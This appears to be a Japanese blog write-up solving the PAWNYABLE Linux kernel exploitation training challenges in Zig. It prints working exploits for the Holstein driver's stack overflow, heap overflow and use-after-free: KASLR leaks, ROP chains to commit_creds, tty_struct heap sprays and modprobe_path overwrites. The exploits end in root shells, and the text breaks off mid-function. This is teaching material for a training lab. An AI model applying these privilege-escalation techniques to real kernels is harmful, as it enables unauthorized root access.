URI:
       PAWNYABLE
       
       2025-07-30
       Tags: pwn
       
       Table of Contents
       
           - v1: Stack Overflow
           - v2: Heap Overflow
           - v3: Use after Free
           - v4: Race Condition
           - userfaultfd
           - FUSE
           - CVE-2021-3490
       
       ptr-yudaiさんのPAWNYABLE [1]を解いてみた。
       以下の解法は複雑で、しかも説明は詳しくないかもしれないから、参考以外を利用するには多分難しいだろう。
       PAWNYABLEは実にいい資料だから、pwnを学びたいなら、このページを閉じて、そちらに練習してください。
       
       僕の日本語は下手くそ[^fn:1]だが、それでも書く練習したいと思っている。
       それと、pwnにZigを使うことは非常に便利ですが(ま、Cよりも)、ですが資料が存在しないらしい。
       
       == Holstein
       
       
       === v1: Stack Overflow
       
       
       さて、どの緩和策は有効をチェックしよう。
       pwn checksec vuln.ko 2>&1
       [*] './src/vuln.ko'
           Arch:       amd64-64-little
           RELRO:      No RELRO
           Stack:      No canary found
           NX:         NX enabled
           PIE:        No PIE (0x0)
           Stripped:   No
       cat /proc/cpuinfo | grep -q -e 'smep.*smap' && echo 'SMEP/SMAP enabled'
       cat /sys/devices/system/cpu/vulnerabilities/meltdown | grep -q -e 'PTI' && echo 'KPTI enabled'
       cat /proc/cmdline | grep -q -e 'nokaslr' || echo 'KASLR enabled'
       SMEP/SMAP enabled
       KPTI enabled
       KASLR enabled
       
       FGKASLRもチェックしよう:
       cat /proc/kallsyms | grep -e 'startup_64' -e 'swapgs_restore_regs_and_return_to_usermode' -e 'prepare_kernel_cred' -e 'commit_creds'
       ffffffff99200000 T startup_64
       ffffffff99200040 T secondary_startup_64
       ffffffff99200045 T secondary_startup_64_no_verify
       ffffffff99200230 T __startup_64
       ffffffff992005e0 T startup_64_setup_env
       ffffffff9926e240 T prepare_kernel_cred
       ffffffff9926e390 T commit_creds
       ffffffff99a00e10 T swapgs_restore_regs_and_return_to_usermode
       # reboot and run again
       cat /proc/kallsyms | grep -e 'startup_64' -e 'swapgs_restore_regs_and_return_to_usermode' -e 'prepare_kernel_cred' -e 'commit_creds'
       ffffffffb7600000 T startup_64
       ffffffffb7600040 T secondary_startup_64
       ffffffffb7600045 T secondary_startup_64_no_verify
       ffffffffb7600230 T __startup_64
       ffffffffb76005e0 T startup_64_setup_env
       ffffffffb766e240 T prepare_kernel_cred
       ffffffffb766e390 T commit_creds
       ffffffffb7e00e10 T swapgs_restore_regs_and_return_to_usermode
       
       まず、KASLRを回避するてめに、アドレスリークが必要だ。
       const std = @import("std");
       
       pub fn main() !void {
           const fd = try std.posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660);
           defer std.posix.close(fd);
       
           var buf: [0x400 + 32]u8 = undefined;
           const bytes_read = try std.posix.read(fd, &buf);
           std.debug.dumpHex(buf[0..bytes_read]);
       }
       ffffffffa0a00000 T startup_64
       ffffffffa0a00000 T _stext
       ffffffffa0a00000 T _text
       ffffffffa0a00040 T secondary_startup_64
       ffffffffa0a00045 T secondary_startup_64_no_verify
       ffffffffa0a00110 t verify_cpu
       ffffffffa0a00210 T sev_verify_cbit
       ffffffffa0a00220 T start_cpu0
       ffffffffa0a00230 T __startup_64
       ffffffffa0a005e0 T startup_64_setup_env
       00007ffdcedd8528  06 00 00 00 04 00 00 00  40 00 00 00 00 00 00 00  ........@.......
       00007ffdcedd8538  40 00 00 00 00 00 00 00  40 00 00 00 00 00 00 00  @.......@.......
       00007ffdcedd8548  68 02 00 00 00 00 00 00  68 02 00 00 00 00 00 00  h.......h.......
       00007ffdcedd8558  08 00 00 00 00 00 00 00  03 00 00 00 04 00 00 00  ................
       00007ffdcedd8568  A8 02 00 00 00 00 00 00  A8 02 00 00 00 00 00 00  ................
       00007ffdcedd8578  A8 02 00 00 00 00 00 00  16 00 00 00 00 00 00 00  ................
       00007ffdcedd8588  16 00 00 00 00 00 00 00  01 00 00 00 00 00 00 00  ................
       00007ffdcedd8598  01 00 00 00 04 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd85a8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd85b8  50 AA 00 00 00 00 00 00  50 AA 00 00 00 00 00 00  P.......P.......
       00007ffdcedd85c8  00 10 00 00 00 00 00 00  01 00 00 00 05 00 00 00  ................
       00007ffdcedd85d8  00 B0 00 00 00 00 00 00  00 B0 00 00 00 00 00 00  ................
       00007ffdcedd85e8  00 B0 00 00 00 00 00 00  A4 FF 07 00 00 00 00 00  ................
       00007ffdcedd85f8  A4 FF 07 00 00 00 00 00  00 10 00 00 00 00 00 00  ................
       00007ffdcedd8608  01 00 00 00 04 00 00 00  00 B0 08 00 00 00 00 00  ................
       00007ffdcedd8618  00 B0 08 00 00 00 00 00  00 B0 08 00 00 00 00 00  ................
       00007ffdcedd8628  DC 68 02 00 00 00 00 00  DC 68 02 00 00 00 00 00  .h.......h......
       00007ffdcedd8638  00 10 00 00 00 00 00 00  01 00 00 00 06 00 00 00  ................
       00007ffdcedd8648  20 22 0B 00 00 00 00 00  20 32 0B 00 00 00 00 00   "...... 2......
       00007ffdcedd8658  20 32 0B 00 00 00 00 00  03 2E 00 00 00 00 00 00   2..............
       00007ffdcedd8668  70 35 00 00 00 00 00 00  00 10 00 00 00 00 00 00  p5..............
       00007ffdcedd8678  02 00 00 00 06 00 00 00  90 43 0B 00 00 00 00 00  .........C......
       00007ffdcedd8688  90 53 0B 00 00 00 00 00  90 53 0B 00 00 00 00 00  .S.......S......
       00007ffdcedd8698  90 01 00 00 00 00 00 00  90 01 00 00 00 00 00 00  ................
       00007ffdcedd86a8  08 00 00 00 00 00 00 00  04 00 00 00 04 00 00 00  ................
       00007ffdcedd86b8  C0 02 00 00 00 00 00 00  C0 02 00 00 00 00 00 00  ................
       00007ffdcedd86c8  C0 02 00 00 00 00 00 00  30 00 00 00 00 00 00 00  ........0.......
       00007ffdcedd86d8  30 00 00 00 00 00 00 00  08 00 00 00 00 00 00 00  0...............
       00007ffdcedd86e8  53 E5 74 64 04 00 00 00  C0 02 00 00 00 00 00 00  S.td............
       00007ffdcedd86f8  C0 02 00 00 00 00 00 00  C0 02 00 00 00 00 00 00  ................
       00007ffdcedd8708  30 00 00 00 00 00 00 00  30 00 00 00 00 00 00 00  0.......0.......
       00007ffdcedd8718  08 00 00 00 00 00 00 00  51 E5 74 64 06 00 00 00  ........Q.td....
       00007ffdcedd8728  00 2C 3B 03 8C 9B FF FF  00 00 00 00 00 00 00 00  .,;.............
       00007ffdcedd8738  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd8748  00 00 00 00 00 00 00 00  10 00 00 00 00 00 00 00  ................
       00007ffdcedd8758  52 E5 74 64 04 00 00 00  20 22 0B 00 00 00 00 00  R.td.... "......
       00007ffdcedd8768  20 32 0B 00 00 00 00 00  20 32 0B 00 00 00 00 00   2...... 2......
       00007ffdcedd8778  E0 2D 00 00 00 00 00 00  E0 2D 00 00 00 00 00 00  .-.......-......
       00007ffdcedd8788  01 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd8798  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd87a8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd87b8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd87c8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd87d8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd87e8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd87f8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd8808  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd8818  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd8828  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd8838  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd8848  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd8858  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd8868  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd8878  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd8888  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd8898  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd88a8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd88b8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd88c8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd88d8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd88e8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd88f8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd8908  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd8918  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffdcedd8928  E8 7E 54 80 04 B2 FF FF  3C D3 B3 A0 FF FF FF FF  .~T.....<.......
       00007ffdcedd8938  87 CD B4 A0 01 00 00 00  00 8A 6B 02 8C 9B FF FF  ..........k.....
       
       `buf[0x408..][0..8]`​はカーネルのポインタが似てそう。
       何回を動かすでも、このアドレスはカーネルのベースアドレスからのオフセットは固定(差は​`0x13d33c`​)。
       
       狙いはroot権限昇格なので、ROPchainで​`commit_creds(prepare_kernel_cre
       d(NULL))`​を呼びしよう。
       ropr --nosys --nojop -R '^(pop rdi;|pop rcx;|mov rsi, rax;.*|add rdi, rsi;.*) ret;' vmlinux
       0xffffffff81049576: add rdi, rsi; add r8, rdi; mov rax, r8; ret;
       0xffffffff810a714a: mov rsi, rax; sub rsi, rcx; cmp rdx, rax; cmovs r8, rsi; mov rax, r8; ret;
       0xffffffff81c9480d: pop rcx; ret;
       0xffffffff81cc6e66: pop rdi; ret;
       0xffffffff81f1f0e9: pop rdi; ret;
       0xffffffff81f496b1: add rdi, rsi; mov [rdi], rdx; mov [rdi+8], rcx; mov [rdi+0x10], r8d; ret;
       var POP_RDI: u64 = 0xffffffff811f61fd;
       var POP_RCX: u64 = 0xffffffff8146ee3c;
       var ADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8: u64 = 0xffffffff81049576;
       var MOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8: u64 = 0xffffffff810a714a;
       
       var KPTI_TRAMPOLINE: u64 = 0xffffffff81800e10+22;
       var PREPARE_KERNEL_CRED: u64 = 0xffffffff8106e240;
       var COMMIT_CREDS: u64 = 0xffffffff8106e390;
       
       fn ropchain(fd: posix.fd_t) !void {
           const file = (std.fs.File{ .handle = fd }).writer();
           var bw = std.io.bufferedWriter(file);
           const writer = bw.writer();
       
           try writer.writeByteNTimes('A', 0x400+8);
           try writer.writeAll(std.mem.asBytes(&[_]u64{
               POP_RDI,
               0,
               PREPARE_KERNEL_CRED,
               POP_RDI,
               0,
               POP_RCX,
               0, // make sub rsi, rcx a nop
               MOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8,
               ADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8,
               COMMIT_CREDS,
       
               KPTI_TRAMPOLINE,
               0, // junk
               0, // junk
               @intFromPtr(&ret2win),
               user_cs,
               user_rflags,
               user_rsp,
               user_ss,
           }));
       
           try bw.flush();
           unreachable;
       }
       
       fn adjust_offsets(kaslr_offset: u64) void {
           const gadgets = &[_]*u64{
               &POP_RDI,
               &POP_RCX,
               &ADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8,
               &MOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8,
       
               &KPTI_TRAMPOLINE,
               &PREPARE_KERNEL_CRED,
               &COMMIT_CREDS,
           };
           for (gadgets) |g| {
               g.* += kaslr_offset;
           }
       }
       <<pawnyable-lib>>
       <<lk01-1-ropchain>>
       
       fn ret2win() noreturn {
           std.log.info("You won!!", .{});
       
           const args = [_:null]?[*:0]const u8{"/usr/bin/whoami"};
           const env = [_:null]?[*:0]u8{};
           switch (posix.execveZ("/usr/bin/whoami", args[0..args.len], env[0..env.len])) {
               else => unreachable,
           }
           unreachable;
       }
       
       fn leakBaseAddress(fd: posix.fd_t) !u64 {
           var buf: [0x408+8]u8 = undefined;
           _ = try posix.read(fd, &buf);
           const ret = std.mem.bytesAsValue(u64, buf[0x408..]).*;
           return ret - 0x13d33c;
       }
       
       pub fn main() !void {
           catchSigsegv(&whoami);
           saveState();
       
           const fd = try posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660);
           defer posix.close(fd);
       
           const kernel_base = try leakBaseAddress(fd);
           std.log.info("Kernel base: 0x{s}", .{std.fmt.bytesToHex(bigEndianify(8, std.mem.asBytes(&kernel_base)), .lower)});
           adjust_offsets(kernel_base-0xffffffff81000000);
       
           try ropchain(fd);
           unreachable;
       }
       whoami
       ./exploit
       whoami: unknown uid 1337
       [INFO] Kernel base: 0xffffffff81000000
       [INFO] You won!!
       root
       
   DIR 完全なエクスプロイト
       
       何故かよく分からないが、​`ret2win`​をジャンプした後で​`SIGSEGV`
       ​を受け取ってしまった。
       `swapgs_restore_regs_and_return_to_usermode`​はこ
       の状況を避けるはずだったが、易きに付くことをしまし、そして​`sigaction`​でまた​
       [40m`ret2win`​呼んでいた。
       
       === v2: Heap Overflow
       
       10c10
       < MODULE_DESCRIPTION("Holstein v1 - Vulnerable Kernel Driver for Pawnyable");
       ---
       > MODULE_DESCRIPTION("Holstein v2 - Vulnerable Kernel Driver for Pawnyable");
       31,32c31,32
       <                         char __user *buf, size_t count,
       <                         loff_t *f_pos)
       ---
       >                            char __user *buf, size_t count,
       >                            loff_t *f_pos)
       34,35d33
       <   char kbuf[BUFFER_SIZE] = { 0 };
       <
       38,39c36
       <   memcpy(kbuf, g_buf, BUFFER_SIZE);
       <   if (_copy_to_user(buf, kbuf, count)) {
       ---
       >   if (copy_to_user(buf, g_buf, count)) {
       51,52d47
       <   char kbuf[BUFFER_SIZE] = { 0 };
       <
       55c50
       <   if (_copy_from_user(kbuf, buf, count)) {
       ---
       >   if (copy_from_user(g_buf, buf, count)) {
       59d53
       <   memcpy(g_buf, kbuf, BUFFER_SIZE);
       
       今回はヒープ攻撃。
       スタック上でのデータをリークしたり、リターンアドレスを書き換えたりすることはできない。
       だが問題ない⸺カーネル構造体をきちんと上書きすれば、権限昇格ができる。
       
       ヒープオーバーフローが​`g_buf`​の後ろに書き込むができるが、どうやって構造体を必ず直後
       に隣り合うように配置できる?
       ヒープスプレーを使えば簡単だ。複数の構造体を確保すると、​`g_buf`​にあるスラブは構造体
       を配置する、結果的に​`g_buf`​の直後に構造体がある可能性が高い。
       fn spray(fds: []posix.fd_t) !void {
           for (0..fds.len) |i| {
               fds[i] = try posix.open("/dev/ptmx", .{ .ACCMODE = .RDONLY, .NOCTTY = true }, 0o660);
           }
       }
       
       SLUB(カーネルのヒープ確保ルーチン)はslab確保ルーチンなので、同じくらいサイズの構造体を同じslabに配置する。
       なので、約​`0x400`​バイトの構造体は必要。
       
         Table 1:
         SLUBの様々のサイズ帯pwnに使えるカーネル構造体 (出典 [2])
       
       |            Generic            Cache            |           Object
       |
       |---------------|--------------------------------------------------
       |     kmalloc-8        |    pcifilpprivate    signalfd_ctx
       |
       |      kmalloc-16          |      afsfile       aarevision
       |
       | kmalloc-32    | vmcihostdev seqoperations (cg cache)
       codafileinfo shmfile_data |
       | kmalloc-64     | sndinfoprivatedata sndctl_file
       |
       | kmalloc-96    | subprocessinfo watchqueue vfio_container
       |
       |           kmalloc-128             |          dlmuserproc
       |
       |    kmalloc-192      |    loopbackpcm    sndtimeruser
       ppstruct                                |
       | kmalloc-256    | vhcidata sndcomprfile msgqueue
       (cg cache)                        |
       |     kmalloc-512      |     tlscontext     mousedevclient
       (`input` group)                          |
       | kmalloc-1024  | pipebuffer ttystruct sock xfrmpolicy
       nouveaucli                  |
       | kmalloc-2048  |  superblock perfevent (SELinux disabled)
       |
       |              kmalloc-4096               |              net_device
       |
       
       `tty_struct`[^fn:2],
       [^fn:3]は特に便利だね;​`const struct tty_operations *ops`[
       49m​を制御できれば、そのttyで​`koioctl`​[^fn:4]を呼び出すでき、ACE
       (Arbitrary Code Execution)ができる。
       また、ヒープのアドレスをリークすることができる。
       
       後は2種類のリクが必要:カーネルアドレス(ROP  gadgetのアドレスを計算為)とヒープアドレス(悪用の​`struct
       tty_operations *ops`​のアドレスを分かり為)。
       const std = @import("std");
       
       <<heap-spray>>
       
       pub fn main() !void {
           var ttys: [100]posix.fd_t = undefined;
           defer for (ttys) |tty| posix.close(tty);
           try spray(ttys[0..50]);
       
           const fd = try posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660);
           defer posix.close(fd);
       
           try spray(ttys[50..]);
       
           var buf: [0x400+0x100]u8 = [_]u8{'A'}**0x400 ++ [_]u8{0}**0x100;
           const bytes_read = try posix.read(fd, &buf);
           std.debug.dumpHex(buf[0x400..bytes_read]);
       }
       00007ffed91dc3f8  01 54 00 00 01 00 00 00  00 00 00 00 00 00 00 00  .T..............
       00007ffed91dc408  00 50 D3 02 80 88 FF FF  80 88 C3 81 FF FF FF FF  .P..............
       00007ffed91dc418  32 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  2...............
       00007ffed91dc428  00 00 00 00 00 00 00 00  38 58 0D 03 80 88 FF FF  ........8X␍.....
       00007ffed91dc438  38 58 0D 03 80 88 FF FF  48 58 0D 03 80 88 FF FF  8X␍.....HX␍.....
       00007ffed91dc448  48 58 0D 03 80 88 FF FF  70 7D 73 02 80 88 FF FF  HX␍.....p}s.....
       00007ffed91dc458  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffed91dc468  70 58 0D 03 80 88 FF FF  70 58 0D 03 80 88 FF FF  pX␍.....pX␍.....
       00007ffed91dc478  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffed91dc488  90 58 0D 03 80 88 FF FF  90 58 0D 03 80 88 FF FF  .X␍......X␍.....
       00007ffed91dc498  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffed91dc4a8  B0 58 0D 03 80 88 FF FF  B0 58 0D 03 80 88 FF FF  .X␍......X␍.....
       00007ffed91dc4b8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
       00007ffed91dc4c8  00 00 00 00 00 00 00 00  D8 58 0D 03 80 88 FF FF  .........X␍.....
       00007ffed91dc4d8  D8 58 0D 03 80 88 FF FF  00 00 00 00 00 00 00 00  .X␍.............
       00007ffed91dc4e8  00 00 00 00 00 00 00 00  F8 58 0D 03 80 88 FF FF  .........X␍.....
       
       なんと、​`tty_struct`​には両方のリクがある!
       確かに便利ね。
       通常の​`tty_struct`​なら​`ops`​の
       値はptmx_fops [3]のアドレス(このvmlinuxでは​`0xffffffff81c38880`​)、そ
       して​`ldisc_sem.read_wait`​の値は​`tty_str
       uct`​のアドレス.
       // as of 5.10.7
       const tty_struct = extern struct {
           const ld_semaphore = extern struct {
               const list_head = extern struct {
                   next: usize = 0xdeadbeefdeadbeef,
                   prev: usize = 0xcafebabecafebabe,
               };
       
               count: u64 = 0,
               wait_lock: i32 = 0,
               wait_readers: i32 = 0,
               read_wait: list_head = .{},
               write_wait: list_head = .{},
           };
       
           magic: i32 = 0x5401,
           kref: i32 = 0,
           dev: usize = 0,
           driver: usize, // must be a valid heap address
           ops: usize,
           index: i32 = 0,
           ldisc_sem: ld_semaphore = .{},
           // don't care about the rest
       
           pub fn init(ops_table: usize) tty_struct {
               // ops_table must live on the heap
               return .{
                   .driver = ops_table,
                   .ops = ops_table,
                   .ldisc_sem = .{
                       .read_wait = .{ .next = ops_table, .prev = ops_table },
                       .write_wait = .{ .next = ops_table, .prev = ops_table },
                   },
               };
           }
       };
       const tty_operations = extern struct {
           lookup: usize = 0,
           install: usize = 0,
           remove: usize = 0,
           open: usize = 0,
           close: usize = 0,
           shutdown: usize = 0,
           cleanup: usize = 0,
           write: usize = 0,
           put_char: usize = 0,
           flush_chars: usize = 0,
           write_room: usize = 0,
           chars_in_buffer: usize = 0,
           ioctl: usize,
       };
       fn leakKASLROffset(fd: posix.fd_t) !u64 {
           const ptmx_fops_addr: u64 = 0xffffffff81c38880;
       
           var buf: [0x400+@offsetOf(tty_struct, "ops")+@sizeOf(@FieldType(tty_struct, "ops"))]u8 = undefined;
           _ = try posix.read(fd, &buf);
           const ret = std.mem.bytesAsValue(u64, buf[buf.len-8..]).*;
           return ret - ptmx_fops_addr;
       }
       
       fn leakGBuf(fd: posix.fd_t) !u64 {
           const offset = comptime blk: {
               const ld_semaphore = @FieldType(tty_struct, "ldisc_sem");
               break :blk @offsetOf(tty_struct, "ldisc_sem") + @offsetOf(ld_semaphore, "read_wait") + @sizeOf(@typeInfo(@FieldType(ld_semaphore, "read_wait")).@"struct".fields[0].type);
           };
           var buf: [0x400+offset]u8 = undefined;
           _ = try posix.read(fd, &buf);
           const ret = std.mem.bytesAsValue(u64, buf[buf.len-8..]).*;
           return ret - (buf.len-8);
       }
       
       ROPしたいから、悪質の​`tty_operations`​の​`ioct
       l`​の値はスタックピボットのアドレスに読み込んでる。
       
       それと、​`ioctl`​を読んでる時に幾つかのレジースタは管理できるから、第二引数はROPc
       hainのアドレスにする(こう:​`for (ttys) |tty| _ = std.os.linux.ioctl(tty,
       0xdeadbeef, ropchain_addr);`)。
       fn posionTTYStruct(fd: posix.fd_t, g_buf_addr: u64) !void {
           const file = (std.fs.File{ .handle = fd }).writer();
           var bw = std.io.bufferedWriter(file);
           const writer = bw.writer();
       
           const fake_tty_ops = tty_operations{ .ioctl = PUSH_RDX_MOV_EBP_0x415bffd9_POP_RSP_POP_R13_POP_RBP };
           try writer.writeAll(std.mem.asBytes(&fake_tty_ops));
           var n_written: usize = @sizeOf(@TypeOf(fake_tty_ops));
           n_written += try ropchain(writer);
       
           try writer.writeByteNTimes('A', 0x400 - n_written);
           try writer.writeAll(std.mem.asBytes(&tty_struct{ .driver = g_buf_addr, .ops = g_buf_addr })[0..@offsetOf(tty_struct, "ops")+@sizeOf(@FieldType(tty_struct, "ops"))]);
       
           try bw.flush();
       }
       
       ROPchainの内容は​`modprobe_path`​上書きするやつだ。
       cat /proc/kallsyms | grep -e 'modprobe_path' -e 'swapgs_restore_regs_and_return_to_usermode'
       ffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
       
       ​`CONFIG_KALLSYMS_ALL=y`​がない場合、​`modprobe_path`
       ​は​`/proc/kallsyms`​に表示されない。
       もちろんあるけど。
       from pwn import *
       vmlinux = ELF("./vmlinux")
       hex(next(vmlinux.search("/sbin/modprobe\0")))
       0xffffffff81e38180
       var PUSH_RDX_MOV_EBP_0x415bffd9_POP_RSP_POP_R13_POP_RBP: u64 = 0xffffffff813a478a; // stack pivot gadget
       
       var MOV_ADDROF_RAX_RDI: u64 = 0xffffffff8110840a;
       var POP_RAX: u64 = 0xffffffff8113dd3c;
       var POP_RDI_ADD_CL_CL: u64 = 0xffffffff81032f59;
       
       var KPTI_TRAMPOLINE: u64 = 0xffffffff81800e10+22;
       var MODPROBE_PATH: u64 = 0xffffffff81e38180;
       
       fn ropchain(writer: anytype) !usize {
           const chain = [_]u64{
               0, // junk
               0, // junk
               POP_RDI_ADD_CL_CL,
               std.mem.readInt(u64, "/tmp/x\x00\x00", .little),
               POP_RAX,
               MODPROBE_PATH,
               MOV_ADDROF_RAX_RDI,
       
               KPTI_TRAMPOLINE,
               0, // junk
               0, // junk
               @intFromPtr(&modprobePath),
               user_cs,
               user_rflags,
               user_rsp,
               user_ss,
           };
           try writer.writeAll(std.mem.asBytes(&chain));
           return std.mem.asBytes(&chain).len;
       }
       
       fn adjust_offsets(kaslr_offset: u64) void {
           const gadgets = &[_]*u64{
               &PUSH_RDX_MOV_EBP_0x415bffd9_POP_RSP_POP_R13_POP_RBP,
       
               &MOV_ADDROF_RAX_RDI,
               &POP_RAX,
               &POP_RDI_ADD_CL_CL,
       
               &KPTI_TRAMPOLINE,
               &MODPROBE_PATH,
           };
           for (gadgets) |g| {
               g.* += kaslr_offset;
           }
       }
       
       またセグフォルートの問題が遭遇したので、​`sigaction`​を利用した。
       <<pawnyable-lib>>
       <<tty_struct>>
       <<heap-spray>>
       <<lk01-2-heap-leak>>
       <<lk01-2-heap-overflow>>
       <<lk01-2-rop>>
       
       pub fn main() !void {
           catchSigsegv(&modprobePath);
           saveState();
       
           var ttys: [100]posix.fd_t = undefined;
           defer for (ttys) |tty| posix.close(tty);
           try spray(ttys[0..50]);
       
           const fd = try posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660);
           defer posix.close(fd);
       
           try spray(ttys[50..]);
       
           const kaslr_offset = try leakKASLROffset(fd);
           std.log.info("Kernel base: 0x{s}", .{std.fmt.bytesToHex(bigEndianify(8, std.mem.asBytes(&(kaslr_offset+0xffffffff81000000))), .lower)});
           adjust_offsets(kaslr_offset);
       
           const g_buf = try leakGBuf(fd);
           std.log.info("g_buf located at: 0x{s}", .{std.fmt.bytesToHex(bigEndianify(8, std.mem.asBytes(&g_buf)), .lower)});
       
           try posionTTYStruct(fd, g_buf);
           const ropchain_addr = g_buf + @sizeOf(tty_operations);
       
           var buf: [10]u8 = undefined;
           _ = try posix.read(fd, &buf);
       
           for (ttys) |tty| _ = linux.ioctl(tty, 0xdeadbeef, ropchain_addr);
       }
       whoami
       ./exploit
       # execute bogus file
       /tmp/unknown &> /tmp/null # /dev/null is priviledged
       cat /tmp/whoisit
       whoami: unknown uid 1337
       [INFO] Kernel base: 0xffffffffa0800000
       [INFO] g_buf located at: 0xffff9f45c3108000
       [INFO] You won!!
       root
       
   DIR 完全なエクスプロイト
       
       実はスタックピボットは不要だった:AAWガジェットを利用したら結果は同じだ。
       
       他の方法
       
       core_pattern [4]読み込み
       コアダンプが発生した際、​`core_pattern`​で定義されたプログラッムが呼び出される
       。​`core_pattern`​はFGKASLR影響しを受けないらしいから、特に便利っすね。
       
        `task_struct.cred`​読み書き
       AARとAAWがあれば、ヒープ上から​`task_struct.cred`​を探し出して、それ
       を0をセットする(​`prctl`​を利用すればプロセスの名は探すやすい値を変われば楽になる)
       。
       
       === v3: Use after Free
       
       10c10
       < MODULE_DESCRIPTION("Holstein v2 - Vulnerable Kernel Driver for Pawnyable");
       ---
       > MODULE_DESCRIPTION("Holstein v3 - Vulnerable Kernel Driver for Pawnyable");
       21c21
       <   g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
       ---
       >   g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
       35a36,40
       >   if (count > BUFFER_SIZE) {
       >     printk(KERN_INFO "invalid buffer size\n");
       >     return -EINVAL;
       >   }
       >
       48a54,58
       >
       >   if (count > BUFFER_SIZE) {
       >     printk(KERN_INFO "invalid buffer size\n");
       >     return -EINVAL;
       >   }
       
       今回はオーバーフローがない。​`g_buf`​のUAFを悪用しよう。
       
       攻撃の作戦は:
       
       1.  2回で​`/dev/holstein`​を開く
       2.  一つのfdを閉じる
       3.  複数の​`tty_struct`​をスプレーする
       4.  別のfdで構造体のいずれかを書き換える
       from pwn import *
       vmlinux = ELF("./vmlinux")
       hex(next(vmlinux.search(b"core".ljust(128, b"\0"))))
       0xffffffff81eb12e0
       <<pawnyable-lib>>
       <<tty_struct>>
       <<heap-spray>>
       
       var MOV_ADDROF_RDX_RCX: u64 = 0xffffffff811b2d06;
       var CORE_PATTERN: u64 = 0xffffffff81eb12e0;
       
       fn leakKASLROffset(fd: posix.fd_t) !u64 {
           const ptmx_fops_addr = 0xffffffff81c39c60;
           var buf: [@offsetOf(tty_struct, "ops")+@sizeOf(@FieldType(tty_struct, "ops"))]u8 = undefined;
           _ = try posix.read(fd, &buf);
           const ret = std.mem.bytesAsValue(u64, buf[buf.len-8..]).*;
           return ret - ptmx_fops_addr;
       }
       
       fn leakHeap(fd: posix.fd_t) !u64 {
           const offset = comptime blk: {
               const ld_semaphore = @FieldType(tty_struct, "ldisc_sem");
               break :blk @offsetOf(tty_struct, "ldisc_sem") + @offsetOf(ld_semaphore, "read_wait") + @sizeOf(@typeInfo(@FieldType(ld_semaphore, "read_wait")).@"struct".fields[0].type);
           };
           var buf: [offset]u8 = undefined;
           _ = try posix.read(fd, &buf);
           const ret = std.mem.bytesAsValue(u64, buf[buf.len-8..]).*;
           return ret - (buf.len-8);
       }
       
       fn aaw(fd: posix.fd_t, ttys: []posix.fd_t, g_buf_addr: u64, value: u32, address: u64) !void {
gopher.feyor.sh:70 /jp/writeups/pawnyable:675: line too long